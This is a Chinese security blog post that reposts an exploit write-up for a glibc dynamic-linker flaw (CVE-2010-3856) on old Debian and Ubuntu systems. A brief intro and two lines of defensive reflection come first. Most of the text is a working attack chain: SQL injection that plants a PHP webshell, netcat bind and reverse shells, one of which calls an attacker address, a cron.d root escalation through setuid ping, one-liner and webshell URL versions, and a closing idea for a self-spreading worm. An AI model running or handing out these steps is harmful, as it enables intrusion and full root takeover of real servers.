linux非交互环境下本地提权与反思

在iptables限制非常严格的时候,无法走icmp udp tcp的bind shell或connect back shell,又需要本地提权,root了之后关闭iptables,看看能否绕过访问控制手段(当然了,如果别人是硬件的防火墙,下文解决不了问题)。在这一场景下,可以考虑参考下文的非交互式本地提权的方法,或许还有其他linux localroot exploit也能实现,实战出真知。
另外有些时候不一定非得root的,nobody,非交互也能做非常多的事。
作为防御一方,面对这种场景,我们是否得反思
1、防御手段要与被防御系统分离,即使成功root了,依然难以快速渗透
2、我们对localroot是否有足够的事前的免疫能力,事中的发现能力及事后的定损取证能力?

Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root
# Exploit Title: Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root# Date:   24-10-2010# Author:   jmit# Mail:   fhausberger[at]gmail[dot]com# Tested on:   Debian 5.0.6# CVE:   CVE-2010-3856
————–| DISCLAIMER |————–
# IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE# POSSIBILITY OF SUCH DAMAGE.
———| ABOUT |———
Debian/Ubuntu remote root exploitation example (GNU dynamic linker DSO vuln).See (http://www.exploit-db.com/exploits/15304/). Should work on other linuxdistros too.
————–| BACKGROUND |————–
Typically it isn’t possible to use a suidshell or modify /etc/passwd directly afterwebshell access (user nobody) to gain root access. But with the DSO vuln we canlaunch commands as root and we can create a socket and connect to the user or setupa bindshell.
———–| EXPLOIT |———–
After you have found a SQL-Injection vuln you can create a php backdoor. This is typicallypossible with select into dumpfile/outfile statement. The values are a simple<? passthru($_GET[‘c’]); ?> backdoor.
—DROP TABLE IF EXISTS fm;CREATE TABLE fm (fm longblob) TYPE=MyISAM;insert into fm (fm) values (0x3c3f20706173737468727528245f4745545b2763275d293b203f3e);select fm from fm into dumpfile ‘/opt/lampp/htdocs/xampp_backup.php’;drop table fm;flush logs;—
Now you can connect to the server and create a connection with telnet, nc, writebinary with perl -e ‘ print “\x41\x42\x43\x44″‘, echo -en ‘\x41\x42\x43\x44’, …If direct shell access isn’t possible you can use phpcode to create your ownbinary with php fwrite:
—<?php $File = “/tmp/nc”;$Handle = fopen($File, ‘w’);$Data = “\x41\x42\x43\x44″;fwrite($Handle, $Data);fclose($Handle); ?>—
Now use
Bind-Shell: http://victimip/xampp_backup.php?c=nc -l -p 9999 -e /bin/bashReverse-Shell: http://victimip/xampp_backup.php?c=/bin/nc attackerip 9999 | /bin/bash
in your webbrowser and connect to your shell
$ nc victimip 9999iduid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

Now lets exploit the DSO vuln. You need umask 0 for correctrw-rw-rw creation of exploit /etc/cron.d/exploit
$ umask 0
This is the shellscript for the cron.d entry.
Bind-Shell: $ echo -e ‘/bin/nc -l -p 79 -e /bin/bash’ > /tmp/exploit.shReverse-Shell: $ echo -e ‘/bin/nc localhost 8888 | /bin/bash’ > /tmp/exploit.sh
Now make your shellscript executable for cron:
$ chmod u+x /tmp/exploit.sh
Create rw-rw-rw file in cron directory using the setuid ping program:
$ LD_AUDIT=”libpcprofile.so” PCPROFILE_OUTPUT=”/etc/cron.d/exploit” ping
Launch every minute a suid root shell
$ echo -e ‘*/1 * * * * root /tmp/exploit.sh’ > /etc/cron.d/exploit
Now you have a root shell every minute.
$ nc attackerip 79iduid=0(root) gid=0(root) groups=0(root)
——————-| EXPLOIT oneline |——————-
echo -e ‘/bin/nc -l -p 79 -e /bin/bash’ > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT=”libpcprofile.so” PCPROFILE_OUTPUT=”/etc/cron.d/exploit” ping;echo -e ‘*/1 * * * * root /tmp/exploit.sh’ > /etc/cron.d/exploit
$ nc attackerip 79iduid=0(root) gid=0(root) groups=0(root)
——————————| EXPLOIT from webshell only |——————————
http://victimip/xampp_backup.php?c=echo -e ‘/bin/nc -l -p 79 -e /bin/bash’ > /tmp/exploit.shhttp://victimip/xampp_backup.php?c=/bin/chmod 0744 /tmp/exploit.shhttp://victimip/xampp_backup.php?c=umask 0;LD_AUDIT=”libpcprofile.so” PCPROFILE_OUTPUT=”/etc/cron.d/exploit” pinghttp://victimip/xampp_backup.php?c=echo -e ‘*/1 * * * * root /tmp/exploit.sh’ > /etc/cron.d/exploit
$ nc attackerip 79iduid=0(root) gid=0(root) groups=0(root)
———————————| EXPLOIT from webshell oneline |———————————
http://victimip/xampp_backup.php?c=echo -e ‘/bin/nc -l -p 79 -e /bin/bash’ > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT=”libpcprofile.so” PCPROFILE_OUTPUT=”/etc/cron.d/exploit” ping;echo -e ‘*/1 * * * * root /tmp/exploit.sh’ > /etc/cron.d/exploit
$ nc attackerip 79iduid=0(root) gid=0(root) groups=0(root)
———| IDEAS |———
Looks like a wormable bug. The urlobfuscated (IDS/IPS) worm search for SQLI/BSQLI bugs or remote code execution bugs.Then the worm injects the evil url and do the same for other ips. It installs a rootkit-bot and the game is over.© Offensive Security 2010
本文摘自网络网络安全(www.91ri.org)收集整理.